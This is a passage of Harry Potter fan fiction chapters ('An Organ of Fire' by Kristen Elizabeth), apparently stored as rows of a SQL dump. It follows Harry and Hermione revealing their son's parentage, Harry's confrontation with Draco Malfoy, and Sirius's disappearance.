it\'s all right, even if you want to yell at us.  Your mother and I...&quot;  He hesitated.  &quot;Just come out from under there, so we can all talk this...&quot;<br><br>Little Harry threw off his pillow and shot up into a sitting position, his face distorted with tears and anger.  &quot;You can\'t tell me what to do!  You\'re not my father!!&quot;<br><br>There was a long moment of silence.  Harry opened his mouth to continue, but found it quite unnecessary, as Hermione beat him to it.  &quot;Actually, Harry....he is.&quot;  Her voice was gentle as she dropped the heavy news.<br><br>The boy blinked and then sniffed dramatically.  &quot;My father is dead.&quot;<br><br>Hermione shook her head.  &quot;I\'m so sorry, Harry.  I never meant for you to find out....certainly not like this.&quot;  She drew in a brave breath.  &quot;You probably won\'t understand any of this until you\'re older.  But you have a right to know.  At any age.&quot;<br><br>&quot;My father is dead,&quot; he repeated, although the certainty that had been present in his first affirmation had faded.  <br><br>&quot;Harry.&quot;  The elder one joined them in sitting on the bed.  &quot;You once told me that we had the same eyes.&quot;  His son stared back at him.  After a pause, Harry continued.  &quot;Do you think your mother would lie to you about this?&quot;<br><br>Fresh tears appeared in the corners of little Harry\'s eyes.  &quot;Mum...&quot;  He glanced at Hermione.  &quot;What about Dad?  Don\'t you love him anymore?&quot;<br><br>&quot;Oh, Harry...&quot;  Hermione reached for her son again and this time he let her enfold his hands in hers.  &quot;Of course I still do.  No matter what happens, I will always love Ron.  We both loved him, didn\'t we?  And he loved you so much.  I can\'t even tell you how proud you made him.&quot;  She bit her lip to keep it from trembling.  &quot;But Harry is right.  I wouldn\'t lie to you about this.&quot;  <br><br>&quot;But you did.  All my life.&quot;  He rubbed his forearm across his eyes.  &quot;Why?&quot;<br><br>&quot;It\'s a very long story, Harry.&quot;  Hermione lip was no longer wobbling, but her hands had started to shake.  This was the very conversation she had dreaded for ten years.  And so far, it wasn\'t going well.  &quot;Professor Potter...Harry...your real father...we fell in love a long time ago.  But...he had to go away.  And after he did, you were born.&quot;  She took one hand away from the boy\'s to run her fingers through his rusty hair.  &quot;The best thing that\'s ever happened to me.&quot;  Hermione pulled her hand back.  &quot;Ron was there the day you were born and he loved you as soon as he saw you.  Because he loved me too, we got married.&quot;<br><br>The boy looked back at his namesake.  &quot;Why did you leave?&quot;<br><br>Harry felt Hermione\'s gaze boring into him as well as his son\'s.  &quot;I wish I could tell you, Harry.  The truth is....I\'ve regretted it ever since.&quot;  <br><br>Little Harry pressed further.  &quot;Didn\'t you want me?&quot;<br><br>&quot;I didn\'t know you were going to be coming,&quot; Harry replied.  &quot;If I had known...&quot;  He stopped to look down at his hands.  &quot;When I understand it all, I\'ll try to explain it to you.  But what I think you need to know right now is that I am your father.  And that Ron will always be a part of you.  I would never try to take his...&quot;<br><br>&quot;Yes, you are!!&quot;  The child\'s anger surfaced again.  &quot;I don\'t have to call you my father!  I could never do that to Dad.  I hate you!&quot;<br><br>&quot;Harry!&quot;  Hermione squeezed his hand.  &quot;You don\'t mean that, so don\'t say it.&quot;  <br><br>&quot;I do mean it!&quot;  He jerked his hands away from his mother.  &quot;Leave me alone!!  I want to be alone!!&quot;  <br><br>The older Harry placed a comforting hand on Hermione\'s shoulder.  &quot;Come on.  Let\'s give him some space.&quot;  <br><br>Reluctantly, Hermione stood, her eyes still fixed on her son.  He had curled back up around Ron\'s picture, turning his face away from his parents.  With a final look at the boy, Hermione allowed Harry to lead her out of the room.  He gently shut the door, but not before they both caught the faint sounds of choked sobs.  It was all Hermione could to do to keep from running back in to comfort him.  <br><br>&quot;Harry,&quot; she whispered.  &quot;What have we done?&quot;<br><br>&quot;The only thing we could do, Hermione.&quot;  Harry cupped her face in his hands.  &quot;If we had let more time go by before we told him the truth, he would have only resented us more.  And maybe we\'d have never gotten him back.&quot;<br><br>&quot;He\'s so angry.&quot;<br><br>Harry brushed his thumb over her cheek, wiping away a stray tear.  &quot;He\'ll come around, once the shock wears off.  &quot;Give him some time.  I\'m not going anywhere; are you?&quot;<br><br>A smile tugged at the corners of her mouth.  &quot;No, I\'m not.&quot;  His lips pressed against her forehead.  &quot;You\'re really not going to leave again?&quot;<br><br>&quot;I\'m really not.&quot;  He moved his next kiss down to her lips.  &quot;I love you, Hermione.&quot;  Harry drew back.  &quot;I think I\'ll just head back to my place now, all right?&quot;<br><br>Hermione sighed.  &quot;One of these times I\'m going to get you to stay a full night with me.&quot;  <br><br>&quot;One of these times...&quot;  Harry gave her another kiss.  &quot;I won\'t hesitate to take you up on that.&quot;  <br><br>****<br><br>The days between Christmas and New Year\'s passed slowly for Harry.  He saw Hermione only a handful of times around the snowy grounds.  On those few instances, she would give him a smile, but the circumstances prevented either of them from doing anything more.  She and little Harry were taking all of their meals in their rooms; Harry could only hope the boy wasn\'t causing Hermione any more pain.  But there was little he could do to find out, much less to help.  <br><br>On the first day of the new year, Harry had settled himself in front of a roaring fire in his apartments, working on restoring his Firebolt to the condition in which he had left it ten years earlier.  He had many regrets, but not taking his prized possession with him on his travels was not one of them.  It would not have held up well through all his trials and tribulations.  <br><br>He was applying a layer of Patrick Paddy\'s Patented Polish to the handle when there was a knock on his door.  Wiping his hands on a rag, Harry went to answer it.  <br><br>The man who had given him the boom stood on the other side of the door.  Harry smiled.  &quot;Sirius.  Happy New Year.&quot;<br><br>&quot;The new year....&quot;  Sirius walked past his godson and into the room.  &quot;It\'s already promising to be a bloody interesting one.&quot;<br><br>Harry closed the door, a frown on his face.  &quot;What do you mean?&quot;<br><br>Sirius drew his hands out of his black robes and warmed them over the fire.  &quot;Damn drafty castle,&quot; he muttered.  After a moment, he glanced back at the younger man.  &quot;I\'ve just come in from London.  From the Ministry of Magic.  Auror\'s headquarters.&quot;<br><br>&quot;Ron\'s office.&quot;  Harry walked towards the fireplace.<br><br>His godfather nodded.  &quot;I think I know, Harry.  I think I know what Ron found out.  What he died for.&quot;  <br><br>&quot;What was it, Sirius?&quot;<br><br>&quot;It\'s Malfoy, Harry.  Just like you suspected.&quot;  Sirius tucked his hands back against his chest.  <br><br>&quot;He killed Ron.&quot;  Harry\'s eyes closed as his fist balled up.  &quot;Why?  What did Ron find out about him?&quot;<br><br>Taking a seat on the couch, Sirius looked up at his godson.  &quot;What does your instinct tell you?&quot;<br><br>&quot;Voldemort.&quot;  The word arrived on Harry\'s tongue without hesitation.  &quot;Malfoy is working with Voldemort.  He *has* risen!  I knew it!  I felt it...&quot;<br><br>&quot;No, Harry.&quot;  Sirius sighed.  &quot;It\'s not as simple as that.&quot;<br><br>&quot;But what about...&quot;<br><br>&quot;Malfoy isn\'t trying to bring Voldemort back,&quot; Sirius interrupted.  &quot;He\'s trying to take his place.&quot;<br><br>Harry blinked.  &quot;Say that again?&quot;<br><br>&quot;You heard me the first time.&quot;  The older man stood up again.  &quot;And if everything in Ron\'s files is correct, he\'s not just a little wizard trying to fill shoes that are too big for him, Harry.  He has power.  Real power.  Dark power.&quot;  Sirius shook his head.  &quot;He\'ll do anything to twist the world to his liking.  Just like Voldemort did.  He\'s already built up a following.  And killed!  It\'s only a matter of time, Harry.&quot;<br><br>A question Harry wasn\'t sure he wanted answered spilled out of his mouth.  &quot;Before what?&quot;<br><br>The moment of silence that followed was so heavy that neither man seemed to breathe for its duration.  &quot;Before he comes after you.&quot;  <br><br>****<br><br>To Be Continued'),
	(93, 9, 'Disclaimer: Not mine, nor do I claim ownership over much besides the measley little plot;) <br><br>Authors Notes: I\'m on a roll again, baby! At least on this story. Thanks again for all the great words of support. Yall still like it....you really still like it!!<br><br>Dedication: To Riley. Both of them. <br><br>****<br><br>An Organ of Fire<br>by Kristen Elizabeth<br><br>****<br><br>&quot;I just don\'t know what to do.&quot; Harry lifted his head from the safe cradle of his hands and looked across the table. &quot;I need your help. You always know what to do. You\'re better at this sort of thing than me.&quot;<br><br>&quot;Harry.&quot; Hermione scooped up a bite of porridge and gave him a look. &quot;You\'re chaperoning a group of students in Hogsmeade, not taking a three-scroll exam. You\'re going to be fine.&quot;<br><br>Ignoring his own breakfast, Harry stared at the wide window cut into the stone of the Great Hall. It was snowing again; a nice January storm that, sadly, wasn\'t severe enough to cancel the scheduled outing. &quot;I just...&quot; He stopped. <br><br>She lowered the spoonful before it could reach her lips. His gaze had become blank; it sent a little chill down her spine. &quot;You just...what, Harry?&quot; <br><br>He refocused and met her worried eyes. Not for the first time, he regretted not sharing the new information Sirius had discovered about Ron\'s death with her. But how could he tell her that her worst fears had been confirmed? That her husband had been murdered by the same hand that had orchestrated the worst recorded attack on Hogwarts? That the same hand was now mostly likely after him...and that he feared anyone around him, including innocent bystanders, might be hurt when it all came to a head? <br><br>Harry attempted a smile. &quot;I just wish you would come, too. I could use a partner in keeping an eye on the Slytherins.&quot;<br><br>Hermione ate the cold bite of her breakfast before replying, &quot;You know I need to stay here with Harry.&quot; <br><br>&quot;How is he?&quot; <br><br>The question stabbed at Hermione. Harry shouldn\'t have to ask after their son as though they lived miles apart. &quot;He\'s...he\'s speaking to me again.&quot; She chuckled half-heartedly. &quot;That\'s something, isn\'t it?&quot;<br><br>Harry reached across the table and folded his hand around hers. &quot;\'Mione.&quot;<br><br>&quot;It\'s all right.&quot; She threaded her fingers through his for a brief moment. &quot;He just needs more time.&quot; There was a pause. &quot;He\'s been to see Hagrid.&quot;<br><br>&quot;What did he want to ask Hagrid about?&quot;<br><br>Hermione pulled her hand back towards her chest. &quot;I\'m not sure. Hagrid said he made a promise not to tell me. But he did say...&quot; She sniffed delicately. &quot;...that Harry is very confused.&quot; <br><br>&quot;I have to believe that with enough time, he\'ll be able to come to you for answers to his questions,&quot; Harry said, his voice soothing. <br><br>&quot;Or to you.&quot;<br><br>He shook his head. &quot;We\'ll have to see about that.&quot; Harry stood up from the table and leaned across the table to drop a kiss on the top of her head. &quot;Wish me luck.&quot;<br><br>****<br><br>When he was seventeen years old, there was nothing Harry enjoyed more than a warm butterbeer at the Three Broomsticks with his two best friends on a cold outing to Hogsmeade. Now, at twenty-eight, as he accepted his mug from the waitress, and surveyed the pub, the site of so many happy moments past, all he could do was remember. <br><br>At the tables around him, groups of Hogwarts students laughed and drank, nibbled on Honeydukes candies, completely content and innocent. Harry took a sip of his drink. His tongue ached with the familiarity of the butterbeer\'s flavor. All he had to do, he figured, was close his eyes and he\'d be seventeen again. Hermione would be on his right side, poring over her latest book purchase. Ron, on his left, would have given up the the struggle to save his candies for a later time.<br><br>Seventeen. Before graduation. Before Voldemort\'s final attempt on his life. Before his first night with Hermione. Before his departure. When life was made better by a simple drink with his friends and as far as any of them knew, it always would be.<br><br>Suddenly, the nostalgia was too much for him. Harry set his mug aside, threw down a few sickles to cover his tab and pulled on his thick, winter robe. A few of the students called out to him as he left the pub, but he only gave them a nod of recognition. The walls were closing in on him, reminding him of the past he could never get back and a future that was all too uncertain.<br><br>The cold air outside was exactly what Harry needed to clear his head. He glanced up at the sky; it was a light grey color, indicating an approaching snow flurry. He sighed to himself. Hopefully, it would spend itself before it was time to take the students back to the castle. <br><br>A strong, cold wind blew over him; he pulled the hood of his robe up over his messy locks. An impending storm. Just like the current status of his entire life. Something coming, over which he would have little to no control until it decided to hit. It was a horrifically unsettling thought. <br><br>Having had no control over his life as a child, Harry despised helplessness. His ability to do magic usually ensured that he never fell victim to it. But now, he felt stripped down to his very bones. Worse than when he stood in an empty field, bleeding, with only the energy left to raise his wand to send Voldemort into oblivion, a danger challenged him. Threatened those he loved. Had killed his best friend in the world. And even if it took the last breath from his body, Harry Potter would stop it. <br><br>Down the street, he could just make out the dark shape of the Shrieking Shack. Despite the truth about its origins that had been revealed nearly fifteen years earlier, it was still abandoned, still the centerpiece of Hogwarts legend and still avoided by most. Harry, however, smiled at the twisted building. So much of his father was in the Shack. So much good in a place considered to be so frightening. <br><br>His thoughts drifted to Sirius, another key figure in the history of the Shack. An owl had arrived from London the day before from his godfather. There wasn\'t much new in the investigation against Draco Malfoy, mostly because Sirius was the only investigator. The decision to keep the Aurors out of the way had been Harry\'s. They had done nothing when Ron had needed their protection; as far as he was concerned, they were useless.<br><br>Harry wriggled his fingers into the warm pockets of his robes and tore his stare away from the mangled structure. As he glanced down the other end of the street, in the general direction of the train station, he spotted a dark figure, framed against the lights from the store windows. Harry\'s eyes narrowed as he tried to focus on the person, but before he could even begin to guess who it was, it started moving towards him. <br><br>A cape billowed around the strangers feet, brushing over the snow that littered the ground. Harry instinctively took a small step back. As the figure came even closer, it began to speak from under the heavy folds of the cape that blacked out its face, preventing immediate identification. <br><br>&quot;Well, now.&quot; The cloaked man stopped a few yards away. &quot;I don\'t think I\'ve ever seen you without one of your groupies, Potter.&quot;<br><br>Harry didn\'t need to see the man\'s face. His nasal tone had always given Draco Malfoy away. The reference to Ron and Hermione from the man who had and was continuing to destroy his friends enraged Harry, but he managed to keep his voice low and steady. &quot;I see you\'ve given yours the night off, too.&quot; A moment of silence froze in the air between them. &quot;I have very little to say to you, Malfoy, but none of it\'s good.&quot;<br><br>Draco reached up to push back his hood, giving Harry his first glimpse in ten years of the wizard playing Dark Lord. The sickly, pale teenager Harry remembered had filled out to fit the face of a cold, deadly man. His eyes still glinted pacific blue, although the cowardice Harry had always seen just under the surface of his stare was gone, replaced by a cool calculation that caught him off guard. The hairs on the back of Harry\'s neck rose. <br><br>&quot;No catching up, Potter? I suppose, then, you don\'t care to see pictures of my son.&quot; <br><br>Harry folded his arms underneath his robes. &quot;I\'ll pass, especially if he looks anything like you.&quot;<br><br>The man in question shook a gloved finger. &quot;Pansy would be very upset with you...if she were still alive.&quot;<br><br>&quot;Did you kill her, too?&quot;<br><br>Draco chuckled, and waved his hand, dismissively. &quot;I hardly think she\'s the issue here.&quot;<br><br>Harry conceded, but not without the promise of further investigation. Pansy Parkinson\'s possible murder was not foremost on his mind. &quot;No. The issue is Ron.&quot;<br><br>&quot;Weasley.&quot; Draco paused, as if he were waiting for Harry to make an accusation. When it didn\'t come, he smiled again, bearing pearly teeth. &quot;Is that why you\'ve graced us all with your presence again, Potter?<br><br>&quot;You were there,&quot; was Harry\'s simple reply. <br><br>&quot;Yes. And a horrible accident it was. But what can you expect from something built by Muggles?&quot; <br><br>&quot;I think we both know it was no accident. It\'s only a matter of time before everyone else knows it, too.&quot;<br><br>Draco took a step forward. &quot;If you\'re accusing me of something, you should come right out and say it.&quot; <br><br>&quot;I don\'t need to,&quot; Harry shot back. &quot;It\'s insulting to Ron that no one has figured it out until now. And you won\'t get away with it.&quot;<br><br>&quot;You\'ve been away too long, Potter. You\'ve forgotten who I am. Who my father was.&quot; <br><br>Harry shook his head. &quot;Still falling back on your father\'s wealth, I see. It\'s good that some things never change.&quot; <br><br>If the comment bothered him, he did an amazing job covering it up.  &quot;And some things change too much for certain people to handle.&quot; Harry frowned as he continued. &quot;Not only did she pop out his kid, she actually married Weasley! While you were gone...they got on just fine without you. In fact...we all got along just fine without the great Harry Potter. The world still revolved.&quot; His grin was evil. &quot;That just eats at you, doesn\'t it, Potter?&quot; <br><br>He took a breath of pure relief. Draco didn\'t know the truth about little Harry\'s parentage. That was perfectly fine with him; Malfoy\'s ignorance made his son safer. &quot;Hermione\'s happiness has always been my happiness.&quot; <br><br>&quot;Your soft spot for the Mudbloods just might get you into trouble someday soon,&quot; Draco warned. With swift motions, he drew his wand out from the folds of his cloak. Purely on instinct, Harry whipped out his own wand. &quot;Smartly done, Potter. I was worried you would be out of practice.&quot; Draco replaced his wand; Harry kept his out. &quot;Though...the next time we meet, you\'ll have to be much quicker.&quot; <br><br>&quot;The next time we meet things will definitely be different,&quot; Harry agreed. &quot;Until then, keep your minions away from my school.&quot;<br><br>Draco pulled his hood up around his face. &quot;You forget. It was my school, too. I\'ll be seeing you soon, Potter.&quot; Without another word, he apparated out, disappearing from the snowy street. Harry watched the spot where he had stood for a long time afterwards, replaying the conversation and the new information he had garnered from it, over and over in his mind. The next thing he was aware of was a small hand on his arm. Blinking, he raised his wand.<br><br>&quot;Professor Potter!!&quot; The very startled sixth year student who had approached him took a great step back.<br><br>Harry recognized her as Jasmine Johnson, one of the girls who lingered in his classroom long after class was over for reasons that were well beyond him. &quot;Miss Johnson...I\'m sorry.&quot; He put his wand away. <br><br>Jasmine smiled nervously. &quot;I didn\'t mean to bother you, Professor. It\'s just that the snow is picking up and we\'re all ready to go.&quot; <br><br>For the first time, he noticed the storm that had threatened to blow in had lived up to its promise. His shoulders were covered in snow and his hair was wet with it. &quot;Yes. Of course. Umm...let\'s round up everyone and head back to the castle.&quot; <br><br>The girl nodded and backed away. The Defense teacher was gorgeous, but her friends were right. He did live up to the title they had recently given him. &quot;Our absent-minded professor.&quot; <br><br>****<br><br>When Hermione knocked on his door, well after most of the castle had retired for the night, Harry was just finished with packing a travel bag, something that caught Hermione\'s immediate attention and fury.<br><br>&quot;\'Mione...it\'s not what you...&quot; he began, picking up on the stricken look in her eyes.<br><br>&quot;You\'re leaving,&quot; she cut him off. Her voice was surprisingly flat, given her physical reactions. <br><br>Harry reached for her. &quot;Only for a few days. Dumbledore\'s arranged to have someone teach my classes. I\'m staying with Sirius in London to do some...um....research.&quot;<br><br>Hermione let him gently knead her shoulders. &quot;I thought you were going to break your promise.&quot;<br><br>&quot;Never.&quot; He leaned in for a kiss. Her lips were intoxicating. Pulling back, he gave her the brightest smile he could muster. &quot;I\'ll be back next week. And maybe...&quot; Harry took her hand, playing with the soft flesh over her knuckles. &quot;We can spend some time together?&quot;<br><br>A faint blush spread on her cheeks. &quot;I bet Hagrid would agree to let Harry spend the night in the hut.&quot; She cleared her throat suddenly, and frowned at him. &quot;Just what kind of research are you going to be doing in London?&quot;<br><br>Harry would have given away his Firebolt in that moment to be able to tell her the truth. But when it came down to the moment of his answer, he simply could not worry her. She had enough on her mind. And Malfoy had hurt her so much already. She deserved answers, but Harry wanted to have them in his grasp before he made any promises. &quot;We\'re...looking into Knockturn Alley. He hasn\'t had much luck finding the spell that was worked on Halloween, so I\'m offering up my Invisibility Cloak.&quot; It was a good thing he had packed it; to prove himself, Harry pulled it from his bag.<br><br>&quot;Oh.&quot; Hermione smiled and reached out to touch the cloak. &quot;I\'ll miss you, Harry.&quot;<br><br>&quot;I\'ll be back as soon as I can,&quot; he assured her. &quot;Hermione...while I\'m gone...&quot; He stopped suddenly. <br><br>&quot;Harry?&quot; She searched his eyes. &quot;What\'s the matter?&quot;<br><br>Harry shook his head. &quot;Nothing. It\'s just that every time I see you, I can\'t believe how much I almost lost.&quot;<br><br>Hermione ignored a tear that slipped down her cheek. &quot;Sooner or later, Harry, you\'re going to have to forgive yourself.&quot; <br><br>He lowered his gaze. If he didn\'t finish the sentence he had started and Malfoy got to her as a result, he would never be able to. &quot;Hermione, until I get back from London, I\'d like you stay in the castle. Don\'t walk about the grounds at night, keep away from Hogsmeade. I know it sounds mad, but please just do this for me.&quot;<br><br>&quot;All right,&quot; she replied a moment later. &quot;I could never say \'no\' to you, Harry.&quot;<br><br>Harry kissed her again, a slow, deep affair that left him with little breath. It took all of his willpower to pull away from her and pick up his bag. He walked towards the door, but when he had reached it, he turned back around. &quot;You know...I traveled around the entire world. But you\'re still the most beautiful person I\'ve ever met.&quot; <br><br>A long time after he left for Hogsmeade, Hermione let herself back into her own flat. After turning off the lights and carefully extinguishing the fire, she started up the stairs. Little Harry\'s door was closed and locked. Too tired for a confrontation, Hermione went straight for her bedroom. Minutes later, she curled up on her bed wearing only one of Harry\'s sweaters, oversized on her, that she had borrowed from his drawer. His scent lured her into the sweetest sleep.<br><br>****<br><br>Harry apparated into Diagon Alley well after most of its patrons had returned home for the evening. He was to meet Sirius at the Leaky Cauldron as soon as he appeared, ten sharp. The first order of business, he had decided after his encounter with Malfoy, was to investigate Pansy Parkinson\'s death. If he could find no evidence to support a murder charge for Ron, perhaps he could for the mother of Malfoy\'s child.<br><br>There were only a few lingering customers in the pub when Harry entered. Most of them, including the barkeep, looked up when he entered, but soon returned to their drinks after confirming that it was, indeed, Harry Potter. <br><br>He took a seat at one of the tables close to the fire and waited.<br><br>After twenty minutes, he became impatient. After thirty, annoyance crept in. But when forty-five minutes had passed and Sirius still had not shown, Harry became worried. Very worried. <br><br>&quot;Excuse me,&quot; he called out to the barkeep who was wiping down a table only a few feet from him. &quot;Has a middle-aged man with black hair been in here tonight?&quot;<br><br>&quot;Can\'t say as one has,&quot; the man replied.<br><br>Harry nodded, his worry mounting. &quot;Well then, have you seen a big, black dog lurking around?&quot; <br><br>The older wizard stood up straight. &quot;Come to think of it...seems to me I heard something \'bout a dog like that?&quot;<br><br>&quot;What about it?&quot;<br><br>&quot;Greenbaum over at the Owlery\'s been complainin\' about a dog scarin\' his owls. I heard someone finally got him just today.&quot;<br><br>&quot;Got him?!&quot; Harry shot to his feet. &quot;What do you mean by that?&quot;<br><br>The man shrugged. &quot;Some kind of spell, I expect. Funny thing is, Greenbaum said that when he went to find the dog\'s body, it were gone.&quot;<br><br>&quot;Gone,&quot; Harry repeated. His ran his fingers through his hair, a million horrible scenarios playing in his head, none of them ending well. &quot;Gone...&quot;<br><br>&quot;He weren\'t your pet, were he?&quot; the barkeep asked. <br><br>&quot;No. Not my pet.&quot; Harry started for the door. &quot;Just my godfather.&quot; <br><br>****<br><br>To Be Continued'),
	(93, 10, 'Disclaimer: Harry Potter and characters belong to JK Rowling, who takes even longer than I do to put out parts of her stories;) But she\'s worth waiting for. <br><br>Author\'s Notes: Sorry if this chapter is a bit short. I hope to have more soon, since the story is progressing along nicely, thanks to everyone\'s support!!<br><br>****<br><br>An Organ of Fire<br>by Kristen Elizabeth<br><br>**** <br><br>In Magical Britain, there weren\'t too many places where a wounded Animagus might have been taken to recover. Truthfully, the only place Harry could think to begin his search for Sirius was the Gryffindor Infirmary, located on the outskirts of London. He remembered that Seamus Finnegan had been taken there only a few days before the start of their sixth year at Hogwarts, when he mixed dragon\'s tears and wormwood at the Apothecary in Diagon Alley and had nearly spent the rest of his life with two noses.<br><br>Harry apparated into the Infirmary and approached the rather bored-looking witch at the front desk. &quot;Excuse me...I need some information on a patient who might have been brought in here within the past few days.&quot;<br><br>The receptionist snapped her gum and flipped a page of her *Witch Weekly*. &quot;Name?&quot;<br><br>&quot;Um...Black. Sirius Black.&quot;<br><br>If the nurse recognized the infamous name, she didn\'t react to it. &quot;What would he have been brought in for?&quot; She turned another page; she had yet to even look at Harry. <br><br>&quot;I\'m not exactly sure.&quot; Harry pulled his robes tighter around himself. &quot;He might not have been in human form.&quot;<br><br>&quot;Animagus?&quot; <br><br>&quot;Yes. A dog. A big, black one. It\'s imperative that I...&quot;<br><br>The nurse sighed, still bored. &quot;There\'s been no registered Animagi brought in here for at least four months, Mr...&quot; She trailed off.<br><br>&quot;Potter,&quot; Harry filled in. Suddenly, the nurse\'s eyes lifted to give him an interested look. &quot;And thanks for all your help.&quot; <br><br>Back on the street, Harry cursed to himself. Snow had sprung up, dusting London a fluffy white color. &quot;Sirius...&quot; If no one had rescued Sirius in either human or dog form, then the only logical conclusion was that Malfoy had gotten to him first and was holding him somewhere. <br><br>Or had already killed him.<br><br>The last thought stabbed Harry through the heart. Losing Sirius would be like losing his parents again, only he would be able to remember it clearly. It was something he could not let happen. <br><br>He found himself walking back into London and had gone a good six miles before he realized what he was doing. It was well past midnight; only a few Muggle cars sped past him, sending an occasional spray of melted snow up to cover his woolen robes. He ignored them. All he wanted was to get back to Diagon Alley, rent a room at the Leaky Cauldron and sleep. In the morning, he would continue the search for his godfather. <br><br>Arriving back at his starting point, Harry approached the Leaky Cauldron\'s barkeep. &quot;Tell me you have a room, please.&quot;<br><br>The man smiled. &quot;Already been set up fer ya, Mr. Potter. I didn\' hardly recognize yer, yer\'ve grown up so much.&quot; He handed Harry a large, rusted key from under the counter. &quot;Second on the left.&quot;<br><br>Harry nodded. &quot;Thank you.&quot; <br><br>&quot;Oh, Mr. Potter!&quot; Harry glanced back at the barkeep; the older man winked. &quot;Have a good night, sir. A very good night.&quot;<br><br>&quot;Thank you. Again.&quot; More than a little puzzled, Harry started up the twisted staircase. With a sigh, he unlocked the room and let himself inside, looking forward to a feather mattress and at least eight hours of sleep. Sleep that he could only hope wouldn\'t be haunted with images of his godfather. <br><br>&quot;Lumio.&quot; The softly spoken spell and the sudden presence of light caught Harry completely off guard. His hand dug into his robes for his wand, but before he could pull it out, he relaxed...but not by much.<br><br>Sitting upright in the bed, between the warm covers, was Hermione, dressed, if one could even call it that, in nothing but a thin-strapped mint-green satin nightgown. &quot;It\'s about time,&quot; she said, indignantly. &quot;I thought you might never show up.&quot;<br><br>Harry put a hand to his forehead. &quot;Hermione? What are you...why are you...how did you get...&quot; He swallowed. &quot;Why can\'t I finish a sentence?!&quot;<br><br>&quot;I left Harry with Hagrid for the evening and Apparated out of Hogsmeade. I needed to talk to you,&quot; Hermione explained. She slid out of the bed and approached him. <br><br>&quot;Wearing that?&quot; he squeaked. <br><br>Hermione gave him a look. &quot;You\'ve seen me in less.&quot;<br><br>Coughing, Harry managed to recover some of his lost senses. All he had to do to stay on track was avoid looking at anything below her neck. &quot;You promised me you\'d stay at Hogwarts.&quot;<br><br>&quot;I know I did.&quot; She put her hands on her hips. &quot;Then I really thought about it and I suddenly realized I was being shafted.&quot;<br><br>&quot;Shafted?&quot; he repeated.<br><br>&quot;Shafted. You were asking me to stay at home where things were safe because...I don\'t know. I\'m just a girl, maybe. Or because you\'re stuck on some ancient idea of the happy homemaker and the alpha male who goes out and fights the wild boar for dinner!&quot;<br><br>&quot;Actually...&quot; Harry folded his arms over his cloak. &quot;I was trying to protect you.&quot;<br><br>&quot;Exactly!&quot; Hermione pointed a finger at him with angry accusation. &quot;Harry, never once, in the myriad of dangerous adventures we had as children, did you *ever* exclude me like you have been since Halloween night. And I\'m sick of it! You might think you can do this all by yourself and keep me safe in the process, but you\'re only making me feel useless.&quot;<br><br>Harry\'s arms slowly unfolded. &quot;Hermione...I didn\'t realize. I never meant to exclude you. I just wanted...&quot; He shook his head. &quot;I wanted to make sure that you were never hurt like that again.&quot;<br><br>&quot;You can\'t keep me in a glass jar, Harry.&quot; Her furious expression relaxed. &quot;I\'m as much a part of this as you are.&quot; <br><br>After a long minute, Harry nodded. &quot;You\'re right. I haven\'t been exactly forthcoming with you. But then...you haven\'t been entirely honest with me either.&quot;<br><br>&quot;What do you mean?&quot;<br><br>&quot;Never mind for now,&quot; Harry said. &quot;You\'ve had your reasons. You were trying to protect me, too.&quot;<br><br>Hermione looked down at her bare feet. &quot;I suppose a mother\'s instincts die hard.&quot;<br><br>&quot;Not a mother. Not for me.&quot; Harry reached out and pulled her towards his body.  He smiled when Hermione wrapped her arms around his torso and laid the side of her head on his upper chest. Suddenly, the rest of his night came flooding back to him. &quot;\'Mione...if you\'re in this with me, you have to know. Sirius has disappeared.&quot;<br><br>She pulled back, worry taking a deep seed in her eyes. &quot;He didn\'t meet you here?&quot;<br><br>Harry shook his head. &quot;I have some vague leads, but there isn\'t much to be done until morning.&quot; He paused; the next news would be the hardest to get out. &quot;I lied to you. We weren\'t planning to investigate Knockturn Alley. We were hoping to find something on...Draco Malfoy.&quot;<br><br>&quot;Draco? What does he have to do with all of...&quot; Hermione stopped suddenly. &quot;Harry...&quot;<br><br>&quot;It was hard for me to fathom at first, too. It seems like whenever there\'s a problem, I want to immediately point the finger of blame at Voldemort. But he really is gone. And the only source of everything now is his self-titled successor. Malfoy.&quot;<br><br>Hermione touched her suddenly pale cheek. &quot;Ron?&quot;<br><br>&quot;He killed him,&quot; Harry said as gently as possible.<br><br>&quot;Ron\'s death was an accident,&quot; Hermione whispered. The words were rote, memorized over the long months. A mantra that had created a false sense of security in her life. <br><br>Harry reached for her hand. &quot;No. And you know it. Don\'t you think it\'s time everyone else did, too?&quot;<br><br>Tears filled Hermione\'s wide eyes. &quot;In front of everyone....the scaffolding just fell. I saw him later...after they had pulled Ron\'s body out of the rubble.&quot; She closed her eyes, letting the tears spill. &quot;He was smiling...and there was nothing I could do about it.&quot;<br><br>&quot;And now he has my godfather.&quot; Harry spoke between clenched teeth as he pulled her back into a strong embrace. &quot;It\'s time to end all of this. We are going to find Sirius and then find the evidence to put Malfoy away in Azkaban until he withers up and dies.&quot; <br><br>&quot;If we don\'t?&quot; Her question was muffled through the wool of Harry\'s robes. <br><br>Harry\'s eyes glinted like twin emeralds. &quot;He wants to be the next Dark Lord? That\'s just fine. I\'ll send him to the same place I sent Voldemort.&quot; <br><br>Hermione shivered. &quot;I get frightened when you talk like that, Harry.&quot;<br><br>&quot;I\'m sorry.&quot; He blinked out of the moment and dropped a soft kiss onto the top of her head. &quot;Hopefully it won\'t come to that.&quot; Harry yawned suddenly; his exhaustion had been forgotten when he found her in his bed, but had now crept back upon him. <br><br>She slipped out of his arms and took his hand. &quot;The man downstairs was surprisingly *not* surprised when I took this room for us. Maybe he thinks I\'m just a lucky Potter-groupie...&quot;<br><br>&quot;I\'m the lucky one,&quot; Harry said as she walked them back towards the bed. &quot;I finally get to spend the whole night with you.&quot; <br><br>&quot;Yes...&quot; Hermione nuzzled the underside of his jaw before lifting her chin to give him a slow, deep kiss. &quot;We can spend the whole, long night together....sleeping. Because you need your rest.&quot; She pulled back abruptly and rushed to climb back into bed. &quot;You\'re not a cover-hog, are you?&quot; Hermione asked, snuggling into her pillow, her back facing the empty side. Without waiting for an answer, she closed her eyes.<br><br>Frustrated, Harry untied his robes and pulled at the rest of his clothes until they were gone. He slid into bed next to her; an attempt to roll her over to face him was unsuccessful. Sighing, he ran his fingers through his messy bangs several times. &quot;Goodnight, Hermione.&quot; Settling into his own pillow, he called out, &quot;Nox,&quot; undoing her spell. <br><br>In the dark, when he reached for her again, she put up no more resistance. Sleep was placed on an indefinite hold as they sought the comfort of each other\'s bodies. Not the fumblings of their youth, nor the quick, quiet explosion at Christmas, it was passion and tenderness, sweet and tart, lightning and sunshine. And fortunately, almost endless. <br><br>The next morning, Harry woke up with her warm back pressed to his chest, his arms circling her. 